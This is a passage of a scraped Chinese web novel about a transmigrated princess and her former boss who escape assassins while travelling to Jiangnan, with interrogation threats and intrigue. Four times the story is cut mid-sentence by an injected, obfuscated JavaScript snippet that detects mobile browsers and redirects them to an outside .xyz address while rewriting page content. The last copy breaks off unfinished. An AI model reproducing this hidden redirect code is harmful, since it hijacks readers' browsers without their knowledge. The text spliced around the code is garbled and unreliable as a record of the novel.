四皇女言梵笛则是个温润的性子,待人待物都和善,外人说起四皇女,无不赞美。 言笛梵不动声色的瞥了一眼地上的碎片:“父君这是因何事动怒?” “无事。” 她又看向进风,进风自然不可能不说:“小主是因为底下的差事没办好。” 言时满不在意的撇了撇嘴:“没办好就杀了呗,反正无用,何至于让父君生怒。” 他撒娇道:“父君,不要再生气了,气坏身体就不好了。” 皇贵俞笑道:“父君一看到你们,就不生气了。”这对儿女,可是他的骄傲,亦是他的依托。 言笛梵则是陷入了深思,等到支走言时后,她问:“父君可是在为皇姐的事忧心。” “儿臣听说了最近的事,只觉得皇姐的运气未免过于好了。” “既然如此烦恼,何不一劳永逸?” 皇贵俞自然知道言笛梵的话外之意,他道:“父君自会安排好一切,你现在最重要的,就是想好在步入朝堂后如何获得大臣们的支持。” “儿臣知道,儿臣只是想为父君分忧。” “好孩子,”皇贵俞握住她的手,“心意父君领了,父君也会竭尽全力,保你登上那个位置。” * 要说京城最近些时日,最热闹的地方是哪里,那当然是茶楼。 大皇女和新侍的故事被改编成说书,在市坊间很是流行。 “我们接着上回说,那祁小郎中毒后,太医诊断,命不久矣,大皇女震怒,彻查下毒之人,凡是跟这件事相关的丫鬟小厮,尽数被发卖,最后发现是身边近身服侍的人下的。” “可即使找出下毒之人又如何,斯人即将消逝,大皇女心中悲恸万分,那心呐,就像被针扎的一样,又痛又悔,所以奉劝格外一句,一定要好好珍惜身边的人,不要等到快失去时,才知内心的感情,那样后悔也晚了。” “大皇女向来不信鬼神之说,可这次,为了能挽回心上人的性命,日日念经,吃斋,甚至一步一步登上云梯,只为去寺庙里为祁小郎祈福。” “这人呢?都渐渐消瘦了下去,或许是大皇女的虔诚,感动了天地,降下福泽,那祁小郎从昏迷中醒了过来,大皇女喜极而泣,两人最后紧紧相拥。” 说书人说的抑扬顿挫,起承转合拿捏得很好,感情充沛,感动了无数听书的人。 “呜呜呜,太好哭了,他为她对抗阎王,她为他祈求上天,两人太般配了,怎么会有这么般配的人。” “从今天起,我不会再说大皇女一句坏话,这么深情的人,又会坏到哪里去。” “这祁小郎命也太好了吧,能得大皇女如此爱护,天哪,要是换成我,死都无憾了。” “果然有其母必有其女,大皇女是继承了陛下的深情了。” 一群男子拿着手帕,轻轻擦掉眼里的泪水,无不感叹道。 而故事中被降下福泽的主人公,祁逾白正要从床上下来,他面色红润,步履健乏,一看便知精神气很好。 言昭离端来一盘葡萄,见到祁逾白起来,连忙伸手制止:“老板,你要干什么,跟我讲一声就行了,就不用亲自下来了。” 祁逾白挑眉,还真把他当成病患来对待了。 “我已经躺了一天了,下床活动活动筋骨。” “哦,”言昭离讪然的收回手,马屁虽迟但到,“老板辛苦了。” 言昭离坐了下来,给自己剥了个葡萄吃:“幸亏有老板的高超演技,此次做戏,格外顺利。” 祁逾白不知想到了什么,笑道:“哪里,没有言秘书辛苦,连陪葬梗都演出来了。” 言昭离剥葡萄的手一顿,演的时候,脑海里突然冒出闺蜜提到过的霸总语录,于是顺嘴讲了出来,什么他要是死了,我要让整个太医院陪葬。 当时只感觉到很爽,现在被提出来莫名有些尴尬。 “老板连这个都知道。” “知道的不多,就一点点,什么女人,你在玩火,女人,还满意你所看到的吗?” 言昭离石化了,顿时用一股惊奇的目光看向祁逾白,满脑子都在想,怎么回事,老板这是又被穿了吗?这还是她认识的老板吗? 但她又不得不承认,虽然这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15567739|171468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语录有点油腻,可祁逾白说的时候,特意低哑着声线,只感觉到了上头。 “还没想起来吗?” “什……什么?”言昭离更懵了。 祁逾白不再提醒,只是用一双含笑的眼睛望着她。 记忆疯狂涌动,言昭离突然想起来,她初入职场的时候,有次做错了事情,心情低落,一个人在天台吹风。 闺蜜恰巧打来电话,为了安慰她,讲了一大堆搞怪语录,包括但不限于霸总语录,甚至说出来还有可能都被禁言的程度。 “是那次天台?!” 祁逾白点头。 得知真相的言昭离更加崩溃了,啊啊啊,为什么祁逾白一个霸道总裁,不好好工作,跑到天台干什么去。 “在心里编排我?” 言昭离差点脱口而出,想说你怎么知道。 但开口却说的是:“不是,怎么可能,我就是好奇,老板,你到天台干什么去?” 祁逾白淡淡道:“没事,就是当时心里压力大,想透透气。” “压力大?!”言昭离的脑子晕乎乎的,这三个字分开,她都认识,可怎么连起来却像是不认识了一样。 祁逾白出身顶级世家,一毕业,就接手了祁氏集团,在他的带领下,集团蒸蒸日上,这样的人生,可以说是顺风顺水,最多也就为每天怎么花钱而烦恼。 言昭离毕业后就来到祁氏集团,工作了两年才被调到了秘书位置,在她的印象里,祁逾白一直都是冷酷无情的形象,无论遇到什么事,都能解决,这样一个人,也会感到压力大吗? 她转念一想,祁逾白也是人,人都会感到累的,不过祁逾白的累是不能表现在人前的那种,毕竟他是公司的掌舵人,手底下上万人等着他养活。 一旦出错,那便是万劫不复。 只有强大,才能让人信服。 念及此,言昭离颇为同情的看了他一眼,连情绪都不能外露,说不定难过时,只能躲在厕所里哭,一边哭一边拿着秒钟计时,就怕哭久了惹人怀疑,哈哈哈,多可怜。 她剥了一个葡萄,递到祁逾白的面前:“给,吃个甜甜的葡萄吧。” 谁知祁逾白拒绝:“我不吃。” 他淡淡的扫了她一眼:“我有洁癖。” 这句话,瞬间让言昭离想起当时堪称噩梦的阶段,刚被调到祁逾白身边时,她负责的主要是祁逾白的生活方面,衣食住行,无不细致,住的地方不能有一根头发丝,要穿的西装不能有一丝褶皱,甚至喝的茶,都只要七分烫的,多一分都得重做,也不知道他的嘴巴是怎么长的,能精准的判别茶烫的程度。 每次一句‘我有洁癖’,言昭离就知道自己安排的必定泡汤。 虽然那段时间很难熬,但祁逾白估计是知道自己难伺候,给的也挺多的,言昭离也从中成长了许多,现在已经不再负责生活琐事,而是转向行政,在公司甚至能代表半个祁逾白。 言昭离看着手心被剥的完好无损的葡萄,晶莹剔透,甚至表面还泛着汁水。 她一口咬住葡萄,嚼嚼嚼,葡萄味在嘴里散开,心里愤恨的想,可恶的资本家。 她洗的干干净净的葡萄,吃之前甚至连手都洗了三遍,还是被嫌弃了。 老板,果然还是那个讨人嫌的老板。 已经走远的祁逾白,听着身后愤恨的咀嚼声,悄悄翘起了嘴角。 8. 第 8 章 林家流放的日子定在九月初,言武帝让言昭离出发去除匪的日子也定在了九月初,也算全了她的孝心。 次日一早,天还雾蒙蒙的,言昭离已经收拾好行李,从府上离开。 此次随行的,她只带了祁逾白和侍从十余人,言武帝允的两千精锐,需要从地方调兵。 才出城门口,就看到不远处的一行人,马车质朴,很是低调,四周来回有官兵巡视。 这是被流放的林家人。 林家人口简单,林太傅生有两子一女,分别是不同的父。 长子是已逝凤后,次子是念贵卿,长女性子低调,未入朝堂。 见到言昭离,林太傅很是激动,眼里闪烁着细碎的泪光:“草民见过大皇女。” 林家被抄家,其后的家族自动舍弃他们。放弃了这一脉,也算彻底斩断了支持言昭离登位的可能。 林太傅倒是没觉得有什么,本来她们就是一个旁系,与主家不甚亲近。 大难临头各自飞,很正常。 她唯一担心的是有没有连累言昭离。 她掀开衣袍,作势要跪下:“草民请罪,未教养好次子……” 言昭离自然可能让林太傅给自己下跪,连忙扶住她,一上手,这才发觉她有多轻。 林太傅饱读诗书,文人风骨,身形也比寻常女子更纤瘦些,这些日子经历了接连打击,身形更加消瘦。 脸凹了下去,皮贴着骨,头发花白,五十多岁的年纪,瞧着像是七八十岁的样子。 “外祖母,我并没有要怪罪你,姑父做的事情,也得到了他该有的惩罚,我不会迁怒任何人。” “大皇女不怪罪就好。”林太傅眼里的泪水更加多,她拿出帕子,轻轻擦拭。 “外祖母有句话,不知当讲不当讲。” “外祖母请说。” 林太傅攥紧言昭离的手:“好孩子,我知道你是心好的,可身处在斗争的漩涡,有时不想斗都得斗。” “你不害人,有人自会害你。” 言昭离心里隐隐升起了一个猜想,下一秒,果然灵验了。 “外祖母没什么本事,只能帮扶昭昭一点,我在京城办了同协书院,已经创办了二十五年,专门资助贫苦学子。” “我的长女,低调,但没人知道她是个经商的天才,产业主要分布在江南一带,学院的花销也是她供的。” 言昭离心中大骇,二十五年前,林太傅就如此高瞻远瞩,不敢想象,资助的这些人,过了这么多年,又爬上了多高的位置,甚至都有可能是朝中重臣。 “我的次子,小气,善妒,但心地是个好的,可却被人设计落了如此下场,我心不忍,至少得让害他的人得到该有的下场,昭昭,我把书院名单和家产交给你,外祖母就求你一件事,最后,能不能顺手把小念的仇报了?” 她用的是顺手,是因为她知道背后的人是后宫之人,动手的目的只有一个,那就是为他们的女儿铺路。 他们势必会盯上言昭离。 言昭离无论想不想斗,都已经被拉进了这场你死我亡的漩涡。 言昭离悠悠的叹了一口气,她其实不大喜欢这个姑父的,就像林太傅所说的,念贵卿善妒,尤其嫉妒他的兄长,以至于在凤后还未过头七的时候,勾引了醉酒的言武帝。 念贵卿一直以为言武帝不宠爱他,是因为这张脸让言武帝想起了已逝的凤后,心中悲伤。 其实不然,只是因为他这张脸,总能让言武帝回忆起,她做的错事,让她对凤后的一片深情都成了个笑话。 念贵卿成也这张脸,败也这张脸。 “好,我答应你。” 送上来的人力和财力哪有不握住的道理,言昭离与皇贵俞的关系,早已到了水火不容的地步。 皇贵俞不会让她活下来,言昭离不会一味等待,自然要反击。 林太傅心中的石头放了下来,随着而来的就是深深的疲惫,这声好,她等了好长时间。 自从念贵卿赐死,她食不下咽,夜不能寐,脑海里全是念贵卿小时候的事。 凤后聪颖,林太傅对他寄予厚望,注意力和宠爱自然都倾注于他,念贵卿从小被忽视,又因为自小在哥哥的光辉下长大,以至于养成了错误的性子。 明明小时候在放课后,会和哥哥手牵手回家,将学堂里发生的趣事都讲于哥哥听,有时还会将路边摘的野花给哥哥。 明明来到这世间喊的第一个人,是哥哥。 什么时候开始变了呢? 或许是从第一次偏心开始,或许是从第一次忽视开始。 * 言昭离的人和林家一行人,加起来也就六七十人。 一群人浩浩汤汤的从城门口出发。 路上顾及着林太傅年事已高,赶路慢了些,走了一月半,才到路程的一半。 言昭离躺在软垫上,马车是她尽心布置过的,空间大,翻几个滚都没事,里面铺上了极其软的垫子,马车上的夹层被她塞了些吃食。 可即使如此,还是会感觉不舒服,在路上的时间太长了。 她瞥一眼旁边正襟危坐的祁逾白:“老板,你这样坐的,不难受吗?” 祁逾白闭目养神,眼皮都没抬起:“那你躺着舒服吗?” 言昭离老实摇头:“不舒服。” “有点怀念现代的汽车,高铁,飞机了,时间短,还舒坦。” “会回去的。” “嗯,我也这么觉得。”言昭离开始碎碎念,“老板,还好你陪我穿了进来,其实我还是挺高兴见到你的,好歹在一个陌生的世界有了故人,也不会感觉到太孤单。” “重要的是,人总会被环境改变,我怕我在这个世界待久了,会变得越来越不像自己,有一个人陪着,可以一直提醒着我是谁,在我快要迷失自我的时候拉住我。” “老板,我能问你个问题吗?” 祁逾白虽然在闭目养神,但一直都侧耳听:“问。” “你在这个世界见到我,有什么样的感受?” 言昭离想,应该是崩溃,难受,屈辱吧,作为一个老板,穿到异世界,身份低下,为了活命,不得不成为下属的小妾。 她想的出神,没注意到内心的想法都在脸上表现出来了。 祁逾白直接伸手弹了她的脑瓜子:“想什么呢?” “收起你所认为的想法,我只会觉得,活着真好。” 无论活成什么样,祁逾白都有信心能逆风翻牌,可一旦没命了,那就什么都没有了。 言昭离捂着头,‘嘿嘿’笑着:“老板说的太对了,活着是最好的,什么都比不上活着。” ‘噌’的一声,一支箭从马车的侧窗划空而来,眼看就要射中祁逾白的喉咙。 言昭离上前,将人扑倒在地。 外面人仰马翻,兵器相撞,鲜血翻涌,惊呼和恐慌声一阵接一阵。 “啊啊啊,杀人了,杀人了。” “你们是谁,还不快报上名来。” “大胆,竟敢刺杀大皇女,那就让你们有来无回。” “老板,没事吧。”言昭离仔细查看祁逾白的喉咙,担心刚才她是否来得及,有没有让老板伤到。 那可是喉咙啊,要是划破一丝一点,都有可能没命。 祁逾白想要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15567740|171468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起身,可被压的动弹不得,他只能镇定道:“无事,只是我想起来。” “哦哦,”言昭离从地上爬了起来,转念一想,又把即将起来的祁逾白按了回去,“老板,外面太危险了,你还是老老实实的躺在车上吧。” 祁逾白:……? 就这么轻轻松松的把他一个大男人按了回去,不愧是女尊文的设定。 “我出去解决。”言昭离挑开帘子,从马车上跳了下去。 原身会武,言昭离继承了这具身子,有肌肉记忆,虽然运用的不太熟练,但经过了十几日的训练,也算小有成就,对付几个虾米自然不在话下。 跟言昭离一起厮杀的,还有另一部分人,是言昭离暗中培养的暗卫,皇女们早慧,六岁时就已经懂得了不少东西,几乎每位皇女都会在暗中培养暗卫。 言昭离穿了过来,自然继承了原身的势力。 她预料到了这一路必定不安宁,提前做了准备。 很快,场上蒙面黑衣人就落了下风,最后活擒了一个。 一个暗卫握着剑,抵在黑衣人的喉咙处,又将黑衣人脸上的蒙面巾一把扯掉,卸掉他的下巴,防止他咬舌/毒自尽,然后等待言昭离的下一步指令。 “还有一个人呢?” 刚才射杀祁逾白的剑,力道和角度掌握的都正好,要不是言昭离反应快,再加上会武,祁逾白恐怕就命丧黄泉了。 那么一个人,武功想必不低,这帮黑衣人那么快被擒住,那人必定不在里面。 放这么一个危险的人物在暗处,言昭离心里不安,对方就像一条毒蛇一样,你看不见它,也不知道它什么时候回跳出来咬人。 黑衣人声音含糊,但宁死不屈:“我听不懂你在说什么,要杀要剐,悉听尊便。” “现在杀了你,岂不是给你个痛快,或许,你听过阉割之术吗?” 黑衣人的背后一凉。 这个女尊世界,没有阉割的设定,宫里的公公,也都是有根的。 言昭离把玩着手上的匕首,冰冷的刀刃倒映出她明艳的容颜,红唇微启,说出的话却让在场的所有男人身下一凉:“阉割啊,就是把男人比女人多的那二两肉割掉。” “怎么样,想尝试吗?听说男人割掉,跟女子分娩的痛是相当的。” 女子分娩的痛苦,那自然是世人皆知。 这个女尊世界,女性占据主导地位,仍然具有生育的能力,且生育的选择权在女性,如果妻主足够喜爱一个男子,就会允他一个孩子。 如果在未经妻主的允诺下,让妻主怀孕,则男子就会被绞杀。 如果生下的孩子不能让妻主满意,男子会被责罚。 黑衣人下意识看向身下,再猛的抬头:“你好狠。” 言昭离眼一凝,手上的匕首像刀片一样的飞了出去,不偏不倚,正好在黑衣人身下的斜上方一寸的距离。 再进一分分,黑衣人便真要体验言昭离口中的阉割术了。 黑衣人看着身下的匕首,眼里恐惧蔓延,不停的吞咽口水:“别……别别,我说,我什么都说,你想知道什么,我全都告诉你,只求给个痛快。” 言昭离赞赏点头:“嗯,这才听话么。” 在场的男暗卫都不由自主的把视线转向了别处,明明不是对他们说的,但就是有个感同身受。 大皇女虽然近日性子变了些,但还是很‘恶毒’。 在场所有人又对言昭离更加肃然起敬,一点背叛的心思都不敢起。 废话,要是被大皇女抓去阉割,那他们在这个世上的价值就没有了,连让妻主生育都不能做到的男人,还会有妻主要吗? 9. 第 9 章 恐吓过后,黑衣人招的很快。 “我来自莫谢杀手组织,有人出了高价要取大皇女和她身边小郎的性命。” “是谁要取大皇女和祁小郎的性命?” “不知道,我只是一个底层杀手,比我高一级的倒有可能知道。” “射箭的人是谁?” “是我们的阁主,武功高强,但整日带着面具,声音也经过刻意的变声,没人见过他真实的面目,也不知道他是男是女。” “关于他,你有没有更细节的。” “没有。” “想清楚。”暗卫拔出剑,暗示味十足。 黑衣人吓得一个激灵,脑子飞速转动:“等等等,我想,我正在想。” 事实证明,在危险关头,人真的会激发潜能,还真让黑衣人想出来一点。 “我想起来了,他的手,他右手手腕处有个红痣,我之前无意间瞧见的。” 又问了些细枝末节,最后如黑衣人所愿,暗卫给了他个痛快。 言昭离拿起暗卫呈上来的供词,仔细思考了起来,对于此人,所掌握的信息太少了,原书剧情里好像也没提到过这样一个人。 “怎么了?”等地上打斗和鲜血的痕迹被清理干净,祁逾白才从马车上下来。 一下来,便看到言昭离眉头紧皱,拿着一张纸来来回回看,莫名的,祁逾白很想抚平言昭离皱起的眉头。 言昭离将纸递了过去,说起了大致情况:“你怎么想?” “背后之人几乎可以锁定,你几次三番的破坏皇贵俞的计划,他已经对你起了杀心,至于想取了我的性命,恐怕是他认为你的转变,是我在背后出谋划策。” 言昭离眉头一挑:“这是把我们两个都盯上了。” “这条路,注定不会太平。” “这个出发前就已经料到了,只是我唯一在意的事——” “那个射箭之人。”祁俞白接道,接着,他又宽慰言昭离,“既然已经有人出高价买我们的性命,一次刺杀没成功,后面的刺杀也不会少。” “那人可能还会出现的,另外,我们有时候可以依靠原剧情,是因为它还能提供的信息,可有些时候,在蝴蝶效应下,剧情已经发生了偏倚。” “给我们提供不了任何价值。” 言昭离猛拍脑子:“对啊,是我想窄了,所谓车到山前必有路,凭我的感觉,此人后面的戏份必定不少。” “嗯,想明白就好。” “大皇女,林太傅已经平安归来,现在是否动身。” 因为对这次刺杀有准备,自然也考虑到林太度傅,在黑衣人刚出现的时候,一部分人就掩护林太傅离开。 等到彻底解决后再出现。 言昭离问:“外祖母的身子可还好?” “林太傅受了些惊吓,现在已经回到马车上休息,医师一直在旁边。” “那就好,一定要顾好外祖母。” “既如此,就出发吧。” “动身。” 后半程的路程如两人所料,刺杀确实不少,但因为提前做好了准备,再加上有了一次经验,刺杀最后都有惊无险的度过。 再到后来,连惊都没有了,林太傅甚至还能脸不白心不跳的看暗卫收拾现场。 那人却一直都未出现过。 * 江南三面环海,地广人茂,物产丰富,是有名的水乡,现代的江南一词指的范围是苏南、浙北、上海一带,这里的江南,是指一个地方,涵盖面比较窄,概念也相对模糊,但唯一不变的邻水。 此去江南,采取的陆路和水路相结合的方式,前面三分之二是陆路,后面三分之一是水路。 ‘呜——’,船头劈开水面,以万夫莫开的气势,驶向远方。 言昭离没有包下一整座船,她在这条水路上,尽可能的选择低调,经历了那么多的刺杀,心理上和精神上都很厌烦。 白日里去往江南的,只有两艘大船,她登船的时间是傍午。 江南三面环水,水产生意也繁荣,人们常常跑到岸的另一边去做生意。 船上热闹的紧,人们三三两两的交谈声,哄笑声,打闹声,相互交织在一起,构成一幅其乐融融的景象。 言昭离谁也没让跟着,独自站在风口处吹风,享受片刻的宁静。 一个中年女人神神秘秘的走了过来:“姑娘,橘子要伐?” 做生意都做到她面前了,言昭离摆摆手:“不需要。” “姑娘不需要,可令正君需要。” 令正君,是指对方的正夫。 中年女人道:“我刚才看令正君一上船后,就脸色发白,这是晕船的症状啊,而且姑娘想想,令正君上船后没多久就进了房间,再也没出来。” 言昭离脑中回忆细节,发现确实如中年男子所说,祁逾白一上船后就面色发白,现在还在房间内待着。 可她记得老板不晕船啊,难道是继承了原身,就跟她能继承原身的武一样。 中年女人掀开框中上盖的布,露出一个又一个圆润的黄橙橙的橘子。 “这橘子最是缓解晕船之物了,姑娘要不为令正君买些?” 最为老板的金牌秘书,竟然没能察觉到老板的不适,言昭离的内心深受谴责,最后从中年女人那买了一大筐的橘子。 等言昭离走后,中年女人露出灿烂的笑容,不愧是她,今日又完成一单,还是个大单,从每个人上船后,她一直关注每个人,寻找潜在的客户,然后趁机促成买卖。 俗话说,机会都是留给有准备的人的。 老天诚不欺她,她哼着小曲,优哉游哉去找下一个潜在客户。 * 大船里面有许多房间,言昭离虽没包下一整条船,但却包下了一层,他们这间房,是所有房间中最大的。 祁逾白坐在床边,单手扶额,竭力忽视身体的异样,他从不知,晕船能有这么难受,像是整个人都掉进了无限旋转的车轱辘,胃里翻江倒滚,每一个味道都能引起他的呕吐感。 他另一只手握拳,死死的抵在嘴边,手上青筋暴起,显示出几分骨感。 闭眼忍耐时,一股清香的橘子味铺面而来,冲淡了船里其它的味道,让他的胃好受了起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15567741|171468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 “吃点橘子缓缓吧。”言昭离剥开橘子,将一瓣橘子递到他面前。 他顺手接过来吃了,橘子的果泽在嘴里蔓延:“谢谢,不过你怎么过来了?” “作为一个合格的秘书,自然要时刻关心老板的身体状况。”虽然她没有第一时间发觉。 但过程不重要,结果对了就行。 言昭离也给自己剥了个橘子,“不过我说,老板,身体不舒服,还是要及时说的。” “这样一个人忍受着,多难受,是吧。” 她说完,又给祁逾白剥了个橘子,然后忍不住瞥了祁逾白的手,呜呜呜,怎么可以有人的手又细又长又白,完全是可以当手模的程度。 这么一双手,要是去剥橘子,完全是暴殄天物。 祁逾白则是盯着手里干净的没有一丝橘络的一小瓣橘子,忽然想起了往事,他第一次注意到言昭离,好像是在一次酒会上。 祁逾白作为集团的总裁,身边有一个秘书团,分别负责各个事务,言昭离刚被调任上来,自然不可能接触到重要事务,只能负责祁逾白的生活琐事。 祁逾白一直都有胃病,但从未在人前显露过,酒会上,胃病发作,也只能强忍着,装作云淡风轻的模样。 直到言昭离突然跑开,带回来胃药,也是和刚才同样的话语:“老板,吃点这个缓缓。” “你怎么知道我有胃病的?” “我之前也有胃病,发病的时候,就像您这样。”下意识是骗不了人的,胃在疼,哪怕装成轻松的模样,也会时不时皱眉,下意识捂住肚子。 再后来,每次酒会的时候,言昭离身上总带着胃药。 言昭离见祁逾白一脸沉思的盯着手上那一瓣橘子看,脑里‘噔’的一下,不会吧,老板发现她分的不公平了,她给祁逾白的,只有那一瓣橘子,而给自己的,是剩下的一大半橘子。 老板应该没这么小气吧,这橘子是她剥的,难道还不能多吃点吗? 还是,言昭离突然想起一件事,祁逾白的洁癖严重,他不会嫌弃她剥的橘子,然后现在正在内心纠结要不要吃。 联想到之前葡萄的事件,顿时觉得这个想法是对的,言昭离歪头想着,可刚才他不是也吃了她剥的橘子吗? 难道是刚才太过于难受,没注意就吃了。 言昭离伸出手,想拿走祁逾白手中的那一瓣橘子:“对不起,老板,忘记你有洁癖了,我这就拿走。” 眼看就要拿到祁逾白手上的那瓣橘子,祁逾白的手心一握,言昭离扑了个空。 “我现在难受的没有洁癖了。”说完,把橘子往嘴里一塞,动作快的让人没反应过来。 言昭离迟缓眨了两下眼睛:怎么回事,怎么感觉刚才的老板好像只护崽的母鸡,还是只超凶的母鸡。 她又看向旁边放的一筐橘子,圆圆润润的,普普通通的黄色橘子,除了比其它橘子甜些,瞧着也没什么特别的啊。 不再多想,言昭离低头任劳任怨的给老板剥橘子,忽视了祁逾白眼里一闪而过的懊恼。 他怎么……那么急着吃她亲手剥的橘子。 10. 第 10 章 在船上待了四五日,在到达目的地的最后一个码头时,船靠在岸边,人们来来往往,有的上船,有的下船。 天黑,船才开始启程。 行驶到一半路程,船上又渐渐热闹起来。 “你去那边找。” “你去这边找。” “不要惊扰顾客,询问下便好,一定要找到那个扒客。” 扒客,是他们对偷偷上船的人的称呼,这些偷偷上船的,要么是没钱,要么是身份有问题。 第一种,船家不允许,第二种,船家不敢留,要是这些身份有问题的是朝廷正在逮捕的人,一口包庇罪就这样扣了下来,船家又向谁哭冤。 一群人浩浩汤汤的搜查了起来,船的体积庞大,要搜查个遍,也要废不少的功夫。 言昭离的房门还未被敲响,就被守在门口的侍卫拦住。 “有什么事吗?” 船家脸上堆满了笑容:“船上混了个扒客,我带人搜查,想问问贵人房中可有异。” 言昭离的声音从里面传了出来:“没有。” “那就好,小的这就退下,不打扰贵人的休息了。”船家还未退下,手下的人来报。 “船长,发现那扒客了,可他带了刀,现在谁都不敢近身。” 船家不复刚才的和善,的面上一厉:“他奶奶的,竟然还带了刀,走,去看看。” 等到了地方,发现是一个瘦弱的男人,衣衫褴褛,脸上有一道深不见骨的刀疤。 男人被众人包围着,神情颇为激动,手拿着匕首,不断在半空中挥舞着。 一时间众人也不敢上前。 船家来了:“我胡汉三纵横海域这么多年,一个小小的扒客还想在我船上闹事。” 他向手下使了眼神,手下秒懂,又带着两三个人离开。 不多时,手上拿着一张巨大的渔网。 这网一盖,男子的行动就会被束缚住,到时候逮捕也会更加方便。 男人一见渔网,明显知道是干什么的,神情更加激动,在空中挥舞的双手更加迅速,不能被逮到,一定不能被逮到。 他咬破舌尖,鲜血在嘴里喷涌,强烈的痛感让他的脑中更加清醒,如果,放手一搏呢? 就算死了,也比抓回去好。 他的位置缓慢移动,在船家下令放网时,迅速跑开,或许是他面上的神情过于骇人,人们不自觉的空出一条路。 他拖着一条瘸了的腿,跌跌撞撞的扑向了一处。 守在言昭离门口的侍卫,远远看到一个拿着匕首的身影奔来,以为又遇见了刺杀,她拔出剑:“不要再上前,否则格杀勿论。” 男人充耳不闻,面上带着视死如归的神情,一头撞上了侍卫手中的剑,倒在地上,不断抽搐着身体,颈部鲜血喷涌。 侍卫拿着剑,呆愣在原地。 船家急忙赶来:“对不起,对不起,惊扰了贵人。” “这就是那个扒客,没想到为了不被逮到自杀了。” “看他这个样子,估计也活不了多久了,我这就把他丢到海里喂鱼。” “嗯,”侍卫擦拭着剑上的鲜血,“收拾快些,不要惊扰了家主的休息。” “是是是。” 两人三言两语,决定了地上人的性命,男人缓缓闭上了双眼,一滴泪从眼底划过,为什么这么疼。 为什么什么都改变不了,为什么那么没用。 为什么没人来救我。 为什么不直接死了。 我好疼,疼疼疼…… “等等。”房门被推开,言昭离从里面走了出来,看了男人一眼,“人还有气呢,就这样处置了不好。” 船家笑的一脸谄媚:“那贵人说该如何处置?小的就如何处置。” “他脖颈处的伤是我侍卫导致的,我自然不会坐视不管,将此人交给我。” 船家显得有些犹豫:“可是此人身份未确认,万一……” “出了事,自然有我负责。” 有人兜底,船家面上的笑容都变得真挚了许多:“既如此,那就交给贵人。” 等到她走后,言昭离轻轻扫了侍卫一眼,侍卫立马跪下求罪:“求大皇女降罪。” “你可知,你犯了什么错。” “奴愚钝,不知。”言昭离的表情太过于可怕,她刚才完全是下意识跪下认罪的。 “你错在,视人命为草菅,有武之人,动作都比常人要更敏捷些,他刚才撞上来,你明明可以避开,可你没有,是因为你潜意识不在意。” 侍卫把头低的更低了,大皇女所说的,确实没错。 “等上岸,自己去领三十棍,要是再犯,就不用到我这来做事了。” “地上那人,你把他背到医师那里,好好医治,务必确保人痊愈。” “是,奴领命。” 言昭离懂得些基本的急救知识,她看过了,男人脖颈上的伤口,虽瞧着有些吓人,却并不会危及性命。 男人听完最后一段话,想努力睁开眼看救了他的人是谁,可拼了命也无法睁开,反而陷入了长长的昏睡。 * 在船上经历了最后一个晚上,终于到达了最终地——江南。 江南依山傍水,气候湿润,景色宜人,是个很适合游玩的地方。 可言昭离是来做正事的。 她先是把林太傅送回了林家老宅,随后又马不停歇的赶往太守府。 要剿匪,首先手上得有兵,言武帝允言昭离的两千精锐,是从地方调兵的,得先从江南太守手上拿到调兵令。 巍峨高大的城墙,最中间的牌匾上写了大大的‘江南’两字。 城墙的小门处,排满了人,她们有的挑着扁担,里面装满了自己种的菜,有的牵着一只骆驼,骆驼上驮满了沉重的包袱……平民需要排队接受路盘的检查,富贵人家则是直接可以从旁边敞开的大门直接穿过。 “让开,都让开。” 一个少女肆意纵马,一路上,人仰马翻。 “哎呦喂。”路边来不及躲闪的百姓纷纷发出一道又一道的哀怨。 “我的菜,我新种的菜,就这样被毁了。” “我的东西,我的东西,这些都摔毁了,我可怎么办啊?” “我的腿栽的好痛,好痛,可没钱治病,还是回家躺着好。” 人们哀嚎着,可没人敢去责怪那个少女,只能自认倒霉碰上了这个祖宗。 眼看少女就要骑马穿过大门,突然,窜出来一道身影,抬腿将她踢倒在地。 少女从马上摔了下来,她会武,摔的并不严重。 她站定身影,看清面前人的容貌,咬牙道:“你是谁,竟然敢对本世娥出手,”接着掏出放在腰侧的鞭子,“我要杀了你。” 言昭离施施然落到地面,一身月白色腾云祥纹衣,面容姣好,气质出尘,像是九天玄女一样。 “那也看你有没有这个本事了。” 两人在原地打斗起来,一开始,少女占了上风,可随着时间的流逝,言昭离逐渐反客为主,将少女打得节节败退,中间甚至没拿出兵器。 最后,这场打斗以少女的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 